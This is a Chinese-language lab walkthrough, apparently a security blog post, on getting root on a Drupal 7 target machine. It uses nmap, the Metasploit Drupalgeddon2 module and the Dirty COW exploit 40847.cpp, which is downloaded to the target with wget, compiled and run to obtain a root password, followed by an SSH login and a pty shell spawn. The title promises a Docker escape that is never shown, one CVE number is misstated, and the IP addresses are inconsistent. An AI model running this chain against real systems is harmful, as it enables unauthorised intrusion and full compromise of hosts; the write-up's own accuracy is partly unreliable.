长亭百川云 - 文章详情

Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)

Koi

50

2024-02-22

写在前边

目前的 Docker 逃逸的原因可以划分为三种:

1、由内核引起的的dirty cow实现逃逸----CVE-2019-5195

2、软件程序引起的docker逃逸漏洞----CVE-2019-5736

3、docker配置不当引起的----privileged(特权模式)逃逸、docket remote api未授权访问导致逃逸等

由内核漏洞引起 ——Dirty COW(CVE-2016-5195)

原理:

Linux 内核的子系统在处理写入时复制(copy-on-write, COW)至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。

竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。

影响版本:

该漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权。

信息收集

靶机:192.168.200.49

KALI:192.168.200.14

靶场环境页面:

1、通过nmap扫描存活主机,确认靶机IP

nmap -sP  192.168.200.0/24 -T4

通过靶机的MAC地址能更准确的确认靶机的IP地址

2、扫描靶机的开放端口和服务

nmap -sV -p-  192.168.200.49

确认开放的端口为:22、80、1898

打开192.168.200.49

192.168.200.49:1898

从此WEB页面下探测信息

可以查到CMS为 Drupal 7

3、使用msf内置exp

选择(exploit/unix/webapp/drupal_drupalgeddon2)进行利用

输入指令等待即可

当前是低权限用户

exploit/run
shell #转换为有回显的shell

此时查看所有文件,但是无法访问root文件夹

ls -al #列出所有文件,包括隐藏文件

cd root

靶机的内核版本

脏牛提权

1、使用searchsploit工具找到提权脚本

1703211571_6584f233943bc4246d955.png!small?1703211573388

找到本地文件的具体位置,不损坏原文件将脚本文件复制到/home/kali目录下

searchsploit dirty
locate linux/local/40847.cpp #定位40847.cpp的位置
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp #将40847.cpp复制到/tmp目录下

2、将文件上传到靶机上,并执行

1、在/home/kali目录下起http服务。

然后目标主机通过wget下载到本地,然后将.cpp文件编译得到一个可执行文件,直接执行就能得到root账号的密码

python -m http.server 8899

1703211580_6584f23c4a653eeda1fcd.png!small?1703211581409

3、在目标主机下载40847.cpp文件,并进行编译成40847可执行文件

wget http://192.168.200.14:8899/40847.cpp

1703211586_6584f2427891186484a09.png!small?1703211588153

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
ls -al #列出所有文件和目录,包括隐藏文件

Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
pedantic 允许发出ANSI/ISO C标准所列出的所有警告
O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
std=c++11就是用按C++2011标准来编译的
pthread 在Linux中要用到多线程时,需要链接pthread库
o 40847.gcc生成的目标文件,名字为40847

1703211611_6584f25b8b6ed831e90f3.png!small?1703211613404

4、执行,得到root账户和密码

./40847  #得到root的密码为dirtyCowFun

1703211619_6584f2634b6a87e5dd744.png!small?1703211620445

第一、去靶机登录或者ssh远程登录(22端口开放)

用户名root,密码dirtyCowFun

1703211628_6584f26caea3c4c88a9be.png!small?1703211629951

第二、利用ssh远程登录

ssh root@192.168.179.157
dirtyCowFun

1703211636_6584f2744d1427f5b17ec.png!small?1703211637945

第三、在此处直接切root用户是不行的,需要开一个终端

python -c 'import pty; pty.spawn("/bin/bash")'

现在是一个shell会话,开启一个终端后,好比是一个sh连接的,交互式的shell。

例如,xshell连接的时候,会弹出一个框,让输入密码,命令里面添加用户的时候,下一步提示你要输入密码才能执行,一条命令输出后,要是没有交互式的话,对方会一直卡在输入命令那里。

所以这个漏洞要用到这个交互式,没有交互式将会用不了,一条命令输出去后,相当于被执行,但有些命令执行后,他有个交互式,要询问ok或者yes或no,所以要搞个交互式这个命令才能回显,正常成功打开交互,执行脚本文件

1703211647_6584f27f3af9e628ab372.png!small?1703211648540

提权总结:

过程

  1. 探测目标和端口
  2. MSF搜索可利用CMS工具,构建连接
相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2